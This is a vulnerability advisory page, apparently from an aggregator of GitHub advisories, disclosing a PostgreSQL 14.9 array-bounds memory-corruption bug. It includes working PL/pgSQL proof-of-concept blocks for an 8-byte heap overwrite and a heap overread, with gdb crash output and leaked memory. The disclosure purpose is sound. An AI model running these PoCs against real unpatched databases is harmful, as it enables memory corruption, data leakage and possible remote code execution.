AI and data stack advisories

Severe, 6 weeks1496Projects326

1496 severe, 6 weeks · 326 projects

GoogleGHSA-r7c8-c243-93rg

PostgreSQL: Array Set Element Memory Corruption

Google

Published Jan 3, 2024

High
No fix yet
GitHub advisory

Summary

There is an error in the way PostgreSQL handles arrays that are first set to have a lower bound of -MAXINT, and are updated to have an upper bound of MAXINT. The result is 2 fold. The first is an 8-byte heap overwrite at index -1. This can lead to overwriting a MemoryContext pointer with an attacker controlled value. The second is we are able to slice the corrupted array to read out-of-bounds.

This report only targeted PostgreSQL 14.9. Other versions were not tested against.

Severity

High - A user who is able to connect to a database and execute a DO statement is able to reach this vulnerability. As it provides a way to perform a heap overwrite and heap overreads Remote Code Execution is possible.

Proof of Concept

8-Byte Heap Overwrite

```plpgsql

DO $

DECLARE

a int8[];

BEGIN

a[-2147483648] = 1;

a[2147483647] = 4702111234474983745;

a[-2147483646] = 2;

END;

`

Attaching gdb to your session and running the PoC you’ll see the following

```plpgsql

Program received signal SIGSEGV, Segmentation fault.

0x000055e70b689c37 in repalloc (pointer=0x55e70c4575f8, size=24) at mcxt.c:1201

1201 ret = context->methods->realloc(context, pointer, size);

(gdb) p context

$1 = (MemoryContext) 0x4141414141414141

`

Heap Overread

Slicing this array we’re able to read out-of-bounds as well.

```plpgsql

DO $

DECLARE

a int8[];

BEGIN

a[-2147483648] = 1;...

Affected versions

PackageAffectedFixed in
PostgreSQL
Product
< https://github.com/postgres/postgres/commit/18b585155a891784ca8985f595ebc0dde94e0d43https://github.com/postgres/postgres/commit/18b585155a891784ca8985f595ebc0dde94e0d43
Details and references

### Summary There is an error in the way PostgreSQL handles arrays that are first set to have a lower bound of -MAXINT, and are updated to have an upper bound of MAXINT. The result is 2 fold. The first is an 8-byte heap overwrite at index -1. This can lead to overwriting a MemoryContext pointer with an attacker controlled value. The second is we are able to slice the corrupted array to read out-of-bounds. This report only targeted PostgreSQL 14.9. Other versions were not tested against. ### Severity High - A user who is able to connect to a database and execute a DO statement is able to reach this vulnerability. As it provides a way to perform a heap overwrite and heap overreads Remote Code Execution is possible. ### Proof of Concept 8-Byte Heap Overwrite ```plpgsql DO $ DECLARE a int8[]; BEGIN a[-2147483648] = 1; a[2147483647] = 4702111234474983745; a[-2147483646] = 2; END; ``` Attaching gdb to your session and running the PoC you’ll see the following ```plpgsql Program received signal SIGSEGV, Segmentation fault. 0x000055e70b689c37 in repalloc (pointer=0x55e70c4575f8, size=24) at mcxt.c:1201 1201 ret = context->methods->realloc(context, pointer, size); (gdb) p context $1 = (MemoryContext) 0x4141414141414141 ``` Heap Overread Slicing this array we’re able to read out-of-bounds as well. ```plpgsql DO $ DECLARE a int8[]; BEGIN a[-2147483648] = 1; a[2147483647] = 4702111234474983745 ; RAISE NOTICE '%', a[2147483615:5]; END; ``` ```plpgsql NOTICE: {128,94450831663824,4294967533,0,65536,0,94450831669808,94450831670384,0,0,0,0,0,0,0,0,0,0,64,94450831663824,4294967527,5,94450831670632,94450831670464,0,0,0,0,32,94450831663824,4294967424,85899345920,-9223372036854775808} ``` ### Further Analysis The vulnerable function is array_set_element_expanded in arrayfuncs.c. When setting an element at an index the number of new elements is calculated. This value is then added to dim which will be used to perform bound checks. ``` if (indx[0] >= (dim[0] + lb[0])) { addedafter = indx[0] - (dim[0] + lb[0]) + 1; dim[0] += addedafter; dimschanged = true; .. snip .. if (dimschanged) { (void) ArrayGetNItems(ndim, dim); ArrayCheckBounds(ndim, dim, lb); } ``` With our setup of lower bound being -MAXINT and the new index being MAXINT this causes addedafter to be -1, and dim to be set to 0 allowing us to pass the checks that follow. The offset for the index to write to is then calculated, which will return -1. ``` offset = ArrayGetOffset(nSubscripts, dim, lb, indx); ``` ``` int ArrayGetOffset(int n, const int *dim, const

Severity from
GitHub (reviewed advisory)

More Google advisories

All Google